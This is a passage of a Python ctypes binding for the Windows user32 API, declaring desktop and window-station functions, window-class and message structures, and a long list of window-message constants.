0x00000100\nDF_ALLOWOTHERACCOUNTHOOK = 0x00000001\n\n# WINAPI\n# CreateDesktopA(\n# _In_ LPCSTR lpszDesktop,\n# _Reserved_ LPCSTR lpszDevice,\n# _Reserved_ DEVMODEA* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateDesktopA = user32.CreateDesktopA\nCreateDesktopA.restype = WINAPI\n\n\n# WINAPI\n# CreateDesktopW(\n# _In_ LPCWSTR lpszDesktop,\n# _Reserved_ LPCWSTR lpszDevice,\n# _Reserved_ DEVMODEW* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateDesktopW = user32.CreateDesktopW\nCreateDesktopW.restype = WINAPI\n\nCreateDesktop = CreateDesktopW\n# CreateDesktop = CreateDesktopA\n\n# WINAPI\n# CreateDesktopExA(\n# _In_ LPCSTR lpszDesktop,\n# _Reserved_ LPCSTR lpszDevice,\n# _Reserved_ DEVMODEA* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa,\n# _In_ ULONG ulHeapSize,\n# _Reserved_ PVOID pVOID);\nCreateDesktopExA = user32.CreateDesktopExA\nCreateDesktopExA.restype = WINAPI\n\n\n# WINAPI\n# CreateDesktopExW(\n# _In_ LPCWSTR lpszDesktop,\n# _Reserved_ LPCWSTR lpszDevice,\n# _Reserved_ DEVMODEW* pDevmode,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa,\n# _In_ ULONG ulHeapSize,\n# _Reserved_ PVOID pVOID);\nCreateDesktopExW = user32.CreateDesktopExW\nCreateDesktopExW.restype = WINAPI\n\nCreateDesktopEx = CreateDesktopExW\n# CreateDesktopEx = CreateDesktopExA\n\n# WINAPI\n# OpenDesktopA(\n# _In_ LPCSTR lpszDesktop,\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenDesktopA = user32.OpenDesktopA\nOpenDesktopA.restype = WINAPI\n\n\n# WINAPI\n# OpenDesktopW(\n# _In_ LPCWSTR lpszDesktop,\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenDesktopW = user32.OpenDesktopW\nOpenDesktopW.restype = WINAPI\n\nOpenDesktop = OpenDesktopW\n# OpenDesktop = OpenDesktopA\n\n# WINAPI\n# OpenInputDesktop(\n# _In_ DWORD dwFlags,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenInputDesktop = user32.OpenInputDesktop\nOpenInputDesktop.restype = WINAPI\n\n\n# WINAPI\n# EnumDesktopsA(\n# _In_opt_ HWINSTA hwinsta,\n# _In_ DESKTOPENUMPROCA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumDesktopsA = user32.EnumDesktopsA\nEnumDesktopsA.restype = WINAPI\n\n\n# WINAPI\n# EnumDesktopsW(\n# _In_opt_ HWINSTA hwinsta,\n# _In_ DESKTOPENUMPROCW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumDesktopsW = user32.EnumDesktopsW\nEnumDesktopsW.restype = WINAPI\n\nEnumDesktops = EnumDesktopsW\n# EnumDesktops = EnumDesktopsA\n\n# WINAPI\n# EnumDesktopWindows(\n# _In_opt_ HDESK hDesktop,\n# _In_ WNDENUMPROC lpfn,\n# _In_ LPARAM lParam);\nEnumDesktopWindows = user32.EnumDesktopWindows\nEnumDesktopWindows.restype = WINAPI\n\n\n# WINAPI\n# SwitchDesktop(\n# _In_ HDESK hDesktop);\nSwitchDesktop = user32.SwitchDesktop\nSwitchDesktop.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDesktop(\n# _In_ HDESK hDesktop);\nSetThreadDesktop = user32.SetThreadDesktop\nSetThreadDesktop.restype = WINAPI\n\n\n# WINAPI\n# CloseDesktop(\n# _In_ HDESK hDesktop);\nCloseDesktop = user32.CloseDesktop\nCloseDesktop.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDesktop(\n# _In_ DWORD dwThreadId);\nGetThreadDesktop = user32.GetThreadDesktop\nGetThreadDesktop.restype = WINAPI\n\nWINSTA_ENUMDESKTOPS = 0x00000001\nWINSTA_READATTRIBUTES = 0x00000002\nWINSTA_ACCESSCLIPBOARD = 0x00000004\nWINSTA_CREATEDESKTOP = 0x00000008\nWINSTA_WRITEATTRIBUTES = 0x00000010\nWINSTA_ACCESSGLOBALATOMS = 0x00000020\nWINSTA_EXITWINDOWS = 0x00000040\nWINSTA_ENUMERATE = 0x00000100\nWINSTA_READSCREEN = 0x00000200\nWINSTA_ALL_ACCESS = (\n WINSTA_ENUMDESKTOPS |\n WINSTA_READATTRIBUTES |\n WINSTA_ACCESSCLIPBOARD |\n WINSTA_CREATEDESKTOP |\n WINSTA_WRITEATTRIBUTES |\n WINSTA_ACCESSGLOBALATOMS |\n WINSTA_EXITWINDOWS |\n WINSTA_ENUMERATE |\n WINSTA_READSCREEN\n)\nCWF_CREATE_ONLY = 0x00000001\nWSF_VISIBLE = 0x00000001\n\n# WINAPI\n# CreateWindowStationA(\n# _In_opt_ LPCSTR lpwinsta,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateWindowStationA = user32.CreateWindowStationA\nCreateWindowStationA.restype = WINAPI\n\n\n# WINAPI\n# CreateWindowStationW(\n# _In_opt_ LPCWSTR lpwinsta,\n# _In_ DWORD dwFlags,\n# _In_ ACCESS_MASK dwDesiredAccess,\n# _In_opt_ LPSECURITY_ATTRIBUTES lpsa);\nCreateWindowStationW = user32.CreateWindowStationW\nCreateWindowStationW.restype = WINAPI\n\nCreateWindowStation = CreateWindowStationW\n# CreateWindowStation = CreateWindowStationA\n\n# WINAPI\n# OpenWindowStationA(\n# _In_ LPCSTR lpszWinSta,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenWindowStationA = user32.OpenWindowStationA\nOpenWindowStationA.restype = WINAPI\n\n\n# WINAPI\n# OpenWindowStationW(\n# _In_ LPCWSTR lpszWinSta,\n# _In_ BOOL fInherit,\n# _In_ ACCESS_MASK dwDesiredAccess);\nOpenWindowStationW = user32.OpenWindowStationW\nOpenWindowStationW.restype = WINAPI\n\nOpenWindowStation = OpenWindowStationW\n# OpenWindowStation = OpenWindowStationA\n\n# WINAPI\n# EnumWindowStationsA(\n# _In_ WINSTAENUMPROCA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindowStationsA = user32.EnumWindowStationsA\nEnumWindowStationsA.restype = WINAPI\n\n\n# WINAPI\n# EnumWindowStationsW(\n# _In_ WINSTAENUMPROCW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindowStationsW = user32.EnumWindowStationsW\nEnumWindowStationsW.restype = WINAPI\n\nEnumWindowStations = EnumWindowStationsW\n# EnumWindowStations = EnumWindowStationsA\n\n# WINAPI\n# CloseWindowStation(\n# _In_ HWINSTA hWinSta);\nCloseWindowStation = user32.CloseWindowStation\nCloseWindowStation.restype = WINAPI\n\n\n# WINAPI\n# SetProcessWindowStation(\n# _In_ HWINSTA hWinSta);\nSetProcessWindowStation = user32.SetProcessWindowStation\nSetProcessWindowStation.restype = WINAPI\n\n\n# WINAPI\n# GetProcessWindowStation(\n# VOID);\nGetProcessWindowStation = user32.GetProcessWindowStation\nGetProcessWindowStation.restype = WINAPI\n\n\n# WINAPI\n# SetUserObjectSecurity(\n# _In_ HANDLE hObj,\n# _In_ PSECURITY_INFORMATION pSIRequested,\n# _In_ PSECURITY_DESCRIPTOR pSID);\nSetUserObjectSecurity = user32.SetUserObjectSecurity\nSetUserObjectSecurity.restype = WINAPI\n\n\n# WINAPI\n# GetUserObjectSecurity(\n# _In_ HANDLE hObj,\n# _In_ PSECURITY_INFORMATION pSIRequested,\n# _Out_writes_bytes_opt_(nLength) PSECURITY_DESCRIPTOR pSID,\n# _In_ DWORD nLength,\n# _Out_ LPDWORD lpnLengthNeeded);\nGetUserObjectSecurity = user32.GetUserObjectSecurity\nGetUserObjectSecurity.restype = WINAPI\n\nUOI_FLAGS = 0x00000001\nUOI_NAME = 0x00000002\nUOI_TYPE = 0x00000003\nUOI_USER_SID = 0x00000004\nUOI_HEAPSIZE = 0x00000005\nUOI_IO = 0x00000006\nUOI_TIMERPROC_EXCEPTION_SUPPRESSION = 0x00000007\n\nclass tagUSEROBJECTFLAGS(ctypes.Structure):\n _fields_ = [\n ('fInherit', BOOL),\n ('fReserved', BOOL),\n ('dwFlags', DWORD),\n ]\n\n\nUSEROBJECTFLAGS = tagUSEROBJECTFLAGS\nPUSEROBJECTFLAGS = POINTER(tagUSEROBJECTFLAGS)\n\n\n\n# WINAPI\n# GetUserObjectInformationA(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _Out_writes_bytes_opt_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength,\n# _Out_opt_ LPDWORD lpnLengthNeeded);\nGetUserObjectInformationA = user32.GetUserObjectInformationA\nGetUserObjectInformationA.restype = WINAPI\n\n\n# WINAPI\n# GetUserObjectInformationW(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _Out_writes_bytes_opt_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength,\n# _Out_opt_ LPDWORD lpnLengthNeeded);\nGetUserObjectInformationW = user32.GetUserObjectInformationW\nGetUserObjectInformationW.restype = WINAPI\n\nGetUserObjectInformation = GetUserObjectInformationW\n# GetUserObjectInformation = GetUserObjectInformationA\n\n# WINAPI\n# SetUserObjectInformationA(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _In_reads_bytes_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength);\nSetUserObjectInformationA = user32.SetUserObjectInformationA\nSetUserObjectInformationA.restype = WINAPI\n\n\n# WINAPI\n# SetUserObjectInformationW(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _In_reads_bytes_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength);\nSetUserObjectInformationW = user32.SetUserObjectInformationW\nSetUserObjectInformationW.restype = WINAPI\n\nSetUserObjectInformation = SetUserObjectInformationW\n# SetUserObjectInformation = SetUserObjectInformationA\n\nclass tagWNDCLASSEXA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCSTR),\n ('lpszClassName', LPCSTR),\n ('hIconSm', HICON),\n ]\n\n\nWNDCLASSEXA = tagWNDCLASSEXA\nPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\nNPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\nLPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\n\n\n\nclass tagWNDCLASSEXW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCWSTR),\n ('lpszClassName', LPCWSTR),\n ('hIconSm', HICON),\n ]\n\n\nWNDCLASSEXW = tagWNDCLASSEXW\nPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\nNPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\nLPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\n\n\nWNDCLASSEX = WNDCLASSEXW\nPWNDCLASSEX = PWNDCLASSEXW\nNPWNDCLASSEX = NPWNDCLASSEXW\nLPWNDCLASSEX = LPWNDCLASSEXW\n\nclass tagWNDCLASSA(ctypes.Structure):\n _fields_ = [\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCSTR),\n ('lpszClassName', LPCSTR),\n ]\n\n\nWNDCLASSA = tagWNDCLASSA\nPWNDCLASSA = POINTER(tagWNDCLASSA)\nNPWNDCLASSA = POINTER(tagWNDCLASSA)\nLPWNDCLASSA = POINTER(tagWNDCLASSA)\n\n\n\nclass tagWNDCLASSW(ctypes.Structure):\n _fields_ = [\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCWSTR),\n ('lpszClassName', LPCWSTR),\n ]\n\n\nWNDCLASSW = tagWNDCLASSW\nPWNDCLASSW = POINTER(tagWNDCLASSW)\nNPWNDCLASSW = POINTER(tagWNDCLASSW)\nLPWNDCLASSW = POINTER(tagWNDCLASSW)\n\n\nWNDCLASS = WNDCLASSW\nPWNDCLASS = PWNDCLASSW\nNPWNDCLASS = NPWNDCLASSW\nLPWNDCLASS = LPWNDCLASSW\n\n# WINAPI\n# IsHungAppWindow(\n# _In_ HWND hwnd);\nIsHungAppWindow = user32.IsHungAppWindow\nIsHungAppWindow.restype = WINAPI\n\n\n# WINAPI\n# DisableProcessWindowsGhosting(\n# VOID);\nDisableProcessWindowsGhosting = user32.DisableProcessWindowsGhosting\nDisableProcessWindowsGhosting.restype = WINAPI\n\n\nclass tagMSG(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('message', UINT),\n ('wParam', WPARAM),\n ('lParam', LPARAM),\n ('time', DWORD),\n ('pt', POINT)\n ]\n\n\nMSG = tagMSG\nPMSG = POINTER(tagMSG)\nNPMSG = POINTER(tagMSG)\nLPMSG = POINTER(tagMSG)\n\n\ndef POINTSTOPOINT(pt, pts):\n pt.x = LOWORD(pts)\n pt.y = HIWORD(pts)\n return pt\n\n\ndef POINTTOPOINTS(pt):\n return MAKELONG(pt.x, pt.y)\n\n\ndef MAKEWPARAM(l, h):\n return MAKELONG(l, h)\n\n\ndef MAKELPARAM(l, h):\n return MAKELONG(l, h)\n\n\ndef MAKELRESULT(l, h):\n return MAKELONG(l, h)\n\n\nGWL_WNDPROC = -4\nGWL_HINSTANCE = -6\nGWL_HWNDPARENT = -8\nGWL_STYLE = -16\nGWL_EXSTYLE = -20\nGWL_USERDATA = -21\nGWL_ID = -12\nGWLP_WNDPROC = -4\nGWLP_HINSTANCE = -6\nGWLP_HWNDPARENT = -8\nGWLP_USERDATA = -21\nGWLP_ID = -12\nGCL_MENUNAME = -8\nGCL_HBRBACKGROUND = -10\nGCL_HCURSOR = -12\nGCL_HICON = -14\nGCL_HMODULE = -16\nGCL_CBWNDEXTRA = -18\nGCL_CBCLSEXTRA = -20\nGCL_WNDPROC = -24\nGCL_STYLE = -26\nGCW_ATOM = -32\nGCL_HICONSM = -34\nGCLP_MENUNAME = -8\nGCLP_HBRBACKGROUND = -10\nGCLP_HCURSOR = -12\nGCLP_HICON = -14\nGCLP_HMODULE = -16\nGCLP_WNDPROC = -24\nGCLP_HICONSM = -34\nWM_NULL = 0x00000000\nWM_CREATE = 0x00000001\nWM_DESTROY = 0x00000002\nWM_MOVE = 0x00000003\nWM_SIZE = 0x00000005\nWM_ACTIVATE = 0x00000006\nWA_INACTIVE = 0x00000000\nWA_ACTIVE = 0x00000001\nWA_CLICKACTIVE = 0x00000002\nWM_SETFOCUS = 0x00000007\nWM_KILLFOCUS = 0x00000008\nWM_ENABLE = 0x0000000A\nWM_SETREDRAW = 0x0000000B\nWM_SETTEXT = 0x0000000C\nWM_GETTEXT = 0x0000000D\nWM_GETTEXTLENGTH = 0x0000000E\nWM_PAINT = 0x0000000F\nWM_CLOSE = 0x00000010\nWM_QUERYENDSESSION = 0x00000011\nWM_QUERYOPEN = 0x00000013\nWM_ENDSESSION = 0x00000016\nWM_QUIT = 0x00000012\nWM_ERASEBKGND = 0x00000014\nWM_SYSCOLORCHANGE = 0x00000015\nWM_SHOWWINDOW = 0x00000018\nWM_WININICHANGE = 0x0000001A\nWM_SETTINGCHANGE = WM_WININICHANGE\nWM_DEVMODECHANGE = 0x0000001B\nWM_ACTIVATEAPP = 0x0000001C\nWM_FONTCHANGE = 0x0000001D\nWM_TIMECHANGE = 0x0000001E\nWM_CANCELMODE = 0x0000001F\nWM_SETCURSOR = 0x00000020\nWM_MOUSEACTIVATE = 0x00000021\nWM_CHILDACTIVATE = 0x00000022\nWM_QUEUESYNC = 0x00000023\nWM_GETMINMAXINFO = 0x00000024\n\nclass tagMINMAXINFO(ctypes.Structure):\n _fields_ = [\n ('ptReserved', POINT),\n ('ptMaxSize', POINT),\n ('ptMaxPosition', POINT),\n ('ptMinTrackSize', POINT),\n ('ptMaxTrackSize', POINT),\n ]\n\n\nMINMAXINFO = tagMINMAXINFO\nPMINMAXINFO = POINTER(tagMINMAXINFO)\nLPMINMAXINFO = POINTER(tagMINMAXINFO)\n\n\nWM_PAINTICON = 0x00000026\nWM_ICONERASEBKGND = 0x00000027\nWM_NEXTDLGCTL = 0x00000028\nWM_SPOOLERSTATUS = 0x0000002A\nWM_DRAWITEM = 0x0000002B\nWM_MEASUREITEM = 0x0000002C\nWM_DELETEITEM = 0x0000002D\nWM_VKEYTOITEM = 0x0000002E\nWM_CHARTOITEM = 0x0000002F\nWM_SETFONT = 0x00000030\nWM_GETFONT = 0x00000031\nWM_SETHOTKEY = 0x00000032\nWM_GETHOTKEY = 0x00000033\nWM_QUERYDRAGICON = 0x00000037\nWM_COMPAREITEM = 0x00000039\nWM_GETOBJECT = 0x0000003D\nWM_COMPACTING = 0x00000041\nWM_COMMNOTIFY = 0x00000044\nWM_WINDOWPOSCHANGING = 0x00000046\nWM_WINDOWPOSCHANGED = 0x00000047\nWM_POWER = 0x00000048\nPWR_OK = 0x00000001\nPWR_FAIL = -1\nPWR_SUSPENDREQUEST = 0x00000001\nPWR_SUSPENDRESUME = 0x00000002\nPWR_CRITICALRESUME = 0x00000003\nWM_COPYDATA = 0x0000004A\nWM_CANCELJOURNAL = 0x0000004B\n\nclass tagCOPYDATASTRUCT(ctypes.Structure):\n _fields_ = [\n ('dwData', ULONG_PTR),\n ('cbData', DWORD),\n ('lpData', PVOID),\n ]\n\n\nCOPYDATASTRUCT = tagCOPYDATASTRUCT\nPCOPYDATASTRUCT = POINTER(tagCOPYDATASTRUCT)\n\n\n\nclass tagMDINEXTMENU(ctypes.Structure):\n _fields_ = [\n ('hmenuIn', HMENU),\n ('hmenuNext', HMENU),\n ('hwndNext', HWND),\n ]\n\n\nMDINEXTMENU = tagMDINEXTMENU\nPMDINEXTMENU = POINTER(tagMDINEXTMENU)\nLPMDINEXTMENU = POINTER(tagMDINEXTMENU)\n\n\nWM_NOTIFY = 0x0000004E\nWM_INPUTLANGCHANGEREQUEST = 0x00000050\nWM_INPUTLANGCHANGE = 0x00000051\nWM_TCARD = 0x00000052\nWM_HELP = 0x00000053\nWM_USERCHANGED = 0x00000054\nWM_NOTIFYFORMAT = 0x00000055\nNFR_ANSI = 0x00000001\nNFR_UNICODE = 0x00000002\nNF_QUERY = 0x00000003\nNF_REQUERY = 0x00000004\nWM_CONTEXTMENU = 0x0000007B\nWM_STYLECHANGING = 0x0000007C\nWM_STYLECHANGED = 0x0000007D\nWM_DISPLAYCHANGE = 0x0000007E\nWM_GETICON = 0x0000007F\nWM_SETICON = 0x00000080\nWM_NCCREATE = 0x00000081\nWM_NCDESTROY = 0x00000082\nWM_NCCALCSIZE = 0x00000083\nWM_NCHITTEST = 0x00000084\nWM_NCPAINT = 0x00000085\nWM_NCACTIVATE = 0x00000086\nWM_GETDLGCODE = 0x00000087\nWM_SYNCPAINT = 0x00000088\nWM_NCMOUSEMOVE = 0x000000A0\nWM_NCLBUTTONDOWN = 0x000000A1\nWM_NCLBUTTONUP = 0x000000A2\nWM_NCLBUTTONDBLCLK = 0x000000A3\nWM_NCRBUTTONDOWN = 0x000000A4\nWM_NCRBUTTONUP = 0x000000A5\nWM_NCRBUTTONDBLCLK = 0x000000A6\nWM_NCMBUTTONDOWN = 0x000000A7\nWM_NCMBUTTONUP = 0x000000A8\nWM_NCMBUTTONDBLCLK = 0x000000A9\nWM_NCXBUTTONDOWN = 0x000000AB\nWM_NCXBUTTONUP = 0x000000AC\nWM_NCXBUTTONDBLCLK = 0x000000AD\nWM_INPUT_DEVICE_CHANGE = 0x000000FE\nWM_INPUT = 0x000000FF\nWM_KEYFIRST = 0x00000100\nWM_KEYDOWN = 0x00000100\nWM_KEYUP = 0x00000101\nWM_CHAR = 0x00000102\nWM_DEADCHAR = 0x00000103\nWM_SYSKEYDOWN = 0x00000104\nWM_SYSKEYUP = 0x00000105\nWM_SYSCHAR = 0x00000106\nWM_SYSDEADCHAR = 0x00000107\nWM_UNICHAR = 0x00000109\nWM_KEYLAST = 0x00000109\nUNICODE_NOCHAR = 0x0000FFFF\nWM_IME_STARTCOMPOSITION = 0x0000010D\nWM_IME_ENDCOMPOSITION = 0x0000010E\nWM_IME_COMPOSITION = 0x0000010F\nWM_IME_KEYLAST = 0x0000010F\nWM_INITDIALOG = 0x00000110\nWM_COMMAND = 0x00000111\nWM_SYSCOMMAND = 0x00000112\nWM_TIMER = 0x00000113\nWM_HSCROLL = 0x00000114\nWM_VSCROLL = 0x00000115\nWM_INITMENU = 0x00000116\nWM_INITMENUPOPUP = 0x00000117\nWM_GESTURE = 0x00000119\nWM_GESTURENOTIFY = 0x0000011A\nWM_MENUSELECT = 0x0000011F\nWM_MENUCHAR = 0x00000120\nWM_ENTERIDLE = 0x00000121\nWM_MENURBUTTONUP = 0x00000122\nWM_MENUDRAG = 0x00000123\nWM_MENUGETOBJECT = 0x00000124\nWM_UNINITMENUPOPUP = 0x00000125\nWM_MENUCOMMAND = 0x00000126\nWM_CHANGEUISTATE = 0x00000127\nWM_UPDATEUISTATE = 0x00000128\nWM_QUERYUISTATE = 0x00000129\nUIS_SET = 0x00000001\nUIS_CLEAR = 0x00000002\nUIS_INITIALIZE = 0x00000003\nUISF_HIDEFOCUS = 0x00000001\nUISF_HIDEACCEL = 0x00000002\nUISF_ACTIVE = 0x00000004\nWM_CTLCOLORMSGBOX = 0x00000132\nWM_CTLCOLOREDIT = 0x00000133\nWM_CTLCOLORLISTBOX = 0x00000134\nWM_CTLCOLORBTN = 0x00000135\nWM_CTLCOLORDLG = 0x00000136\nWM_CTLCOLORSCROLLBAR = 0x00000137\nWM_CTLCOLORSTATIC = 0x00000138\nMN_GETHMENU = 0x000001E1\nWM_MOUSEFIRST = 0x00000200\nWM_MOUSEMOVE = 0x00000200\nWM_LBUTTONDOWN = 0x00000201\nWM_LBUTTONUP = 0x00000202\nWM_LBUTTONDBLCLK = 0x00000203\nWM_RBUTTONDOWN = 0x00000204\nWM_RBUTTONUP = 0x00000205\nWM_RBUTTONDBLCLK = 0x00000206\nWM_MBUTTONDOWN = 0x00000207\nWM_MBUTTONUP = 0x00000208\nWM_MBUTTONDBLCLK = 0x00000209\nWM_MOUSEWHEEL = 0x0000020A\nWM_XBUTTONDOWN = 0x0000020B\nWM_XBUTTONUP = 0x0000020C\nWM_XBUTTONDBLCLK = 0x0000020D\nWM_MOUSEHWHEEL = 0x0000020E\nWM_MOUSELAST = 0x0000020E\nWHEEL_DELTA = 0x00000078\n\n\ndef GET_WHEEL_DELTA_WPARAM(wParam):\n return HIWORD(wParam)\n\nfrom limits_h import UINT_MAX\n\nWHEEL_PAGESCROLL = UINT_MAX\n\n\ndef GET_KEYSTATE_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_NCHITTEST_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_XBUTTON_WPARAM(wParam):\n return HIWORD(wParam)\n\n\nXBUTTON1 = 0x00000001\nXBUTTON2 = 0x00000002\nWM_PARENTNOTIFY = 0x00000210\nWM_ENTERMENULOOP = 0x00000211\nWM_EXITMENULOOP = 0x00000212\nWM_NEXTMENU = 0x00000213\nWM_SIZING = 0x00000214\nWM_CAPTURECHANGED = 0x00000215\nWM_MOVING = 0x00000216\nWM_POWERBROADCAST = 0x00000218\nPBT_APMQUERYSUSPEND = 0x00000000\nPBT_APMQUERYSTANDBY = 0x00000001\nPBT_APMQUERYSUSPENDFAILED = 0x00000002\nPBT_APMQUERYSTANDBYFAILED = 0x00000003\nPBT_APMSUSPEND = 0x00000004\nPBT_APMSTANDBY = 0x00000005\nPBT_APMRESUMECRITICAL = 0x00000006\nPBT_APMRESUMESUSPEND = 0x00000007\nPBT_APMRESUMESTANDBY = 0x00000008\nPBTF_APMRESUMEFROMFAILURE = 0x00000001\nPBT_APMBATTERYLOW = 0x00000009\nPBT_APMPOWERSTATUSCHANGE = 0x0000000A\nPBT_APMOEMEVENT = 0x0000000B\nPBT_APMRESUMEAUTOMATIC = 0x00000012\nPBT_POWERSETTINGCHANGE = 0x00008013\n\nclass POWERBROADCAST_SETTING(ctypes.Structure):\n _fields_ = [\n ('PowerSetting', GUID),\n ('DataLength', DWORD),\n ('Data', UCHAR * 1),\n ]\n\n\nPPOWERBROADCAST_SETTING = POINTER(POWERBROADCAST_SETTING)\n\n\nWM_DEVICECHANGE = 0x00000219\nWM_MDICREATE = 0x00000220\nWM_MDIDESTROY = 0x00000221\nWM_MDIACTIVATE = 0x00000222\nWM_MDIRESTORE = 0x00000223\nWM_MDINEXT = 0x00000224\nWM_MDIMAXIMIZE = 0x00000225\nWM_MDITILE = 0x00000226\nWM_MDICASCADE = 0x00000227\nWM_MDIICONARRANGE = 0x00000228\nWM_MDIGETACTIVE = 0x00000229\nWM_MDISETMENU = 0x00000230\nWM_ENTERSIZEMOVE = 0x00000231\nWM_EXITSIZEMOVE = 0x00000232\nWM_DROPFILES = 0x00000233\nWM_MDIREFRESHMENU = 0x00000234\nWM_POINTERDEVICECHANGE = 0x00000238\nWM_POINTERDEVICEINRANGE = 0x00000239\nWM_POINTERDEVICEOUTOFRANGE = 0x0000023A\nWM_TOUCH = 0x00000240\nWM_NCPOINTERUPDATE = 0x00000241\nWM_NCPOINTERDOWN = 0x00000242\nWM_NCPOINTERUP = 0x00000243\nWM_POINTERUPDATE = 0x00000245\nWM_POINTERDOWN = 0x00000246\nWM_POINTERUP = 0x00000247\nWM_POINTERENTER = 0x00000249\nWM_POINTERLEAVE = 0x0000024A\nWM_POINTERACTIVATE = 0x0000024B\nWM_POINTERCAPTURECHANGED = 0x0000024C\nWM_TOUCHHITTESTING = 0x0000024D\nWM_POINTERWHEEL = 0x0000024E\nWM_POINTERHWHEEL = 0x0000024F\nDM_POINTERHITTEST = 0x00000250\nWM_POINTERROUTEDTO = 0x00000251\nWM_POINTERROUTEDAWAY = 0x00000252\nWM_POINTERROUTEDRELEASED = 0x00000253\nWM_IME_SETCONTEXT = 0x00000281\nWM_IME_NOTIFY = 0x00000282\nWM_IME_CONTROL = 0x00000283\nWM_IME_COMPOSITIONFULL = 0x00000284\nWM_IME_SELECT = 0x00000285\nWM_IME_CHAR = 0x00000286\nWM_IME_REQUEST = 0x00000288\nWM_IME_KEYDOWN = 0x00000290\nWM_IME_KEYUP = 0x00000291\nWM_MOUSEHOVER = 0x000002A1\nWM_MOUSELEAVE = 0x000002A3\nWM_NCMOUSEHOVER = 0x000002A0\nWM_NCMOUSELEAVE = 0x000002A2\nWM_WTSSESSION_CHANGE = 0x000002B1\nWM_TABLET_FIRST = 0x000002C0\nWM_TABLET_LAST = 0x000002DF\nWM_DPICHANGED = 0x000002E0\nWM_DPICHANGED_BEFOREPARENT = 0x000002E2\nWM_DPICHANGED_AFTERPARENT = 0x000002E3\nWM_GETDPISCALEDSIZE = 0x000002E4\nWM_CUT = 0x00000300\nWM_COPY = 0x00000301\nWM_PASTE = 0x00000302\nWM_CLEAR = 0x00000303\nWM_UNDO = 0x00000304\nWM_RENDERFORMAT = 0x00000305\nWM_RENDERALLFORMATS = 0x00000306\nWM_DESTROYCLIPBOARD = 0x00000307\nWM_DRAWCLIPBOARD = 0x00000308\nWM_PAINTCLIPBOARD = 0x00000309\nWM_VSCROLLCLIPBOARD = 0x0000030A\nWM_SIZECLIPBOARD = 0x0000030B\nWM_ASKCBFORMATNAME = 0x0000030C\nWM_CHANGECBCHAIN = 0x0000030D\nWM_HSCROLLCLIPBOARD = 0x0000030E\nWM_QUERYNEWPALETTE = 0x0000030F\nWM_PALETTEISCHANGING = 0x00000310\nWM_PALETTECHANGED = 0x00000311\nWM_HOTKEY = 0x00000312\nWM_PRINT = 0x00000317\nWM_PRINTCLIENT = 0x00000318\nWM_APPCOMMAND = 0x00000319\nWM_THEMECHANGED = 0x0000031A\nWM_CLIPBOARDUPDATE = 0x0000031D\nWM_DWMCOMPOSITIONCHANGED = 0x0000031E\nWM_DWMNCRENDERINGCHANGED = 0x0000031F\nWM_DWMCOLORIZATIONCOLORCHANGED = 0x00000320\nWM_DWMWINDOWMAXIMIZEDCHANGE = 0x00000321\nWM_DWMSENDICONICTHUMBNAIL = 0x00000323\nWM_DWMSENDICONICLIVEPREVIEWBITMAP = 0x00000326\nWM_GETTITLEBARINFOEX = 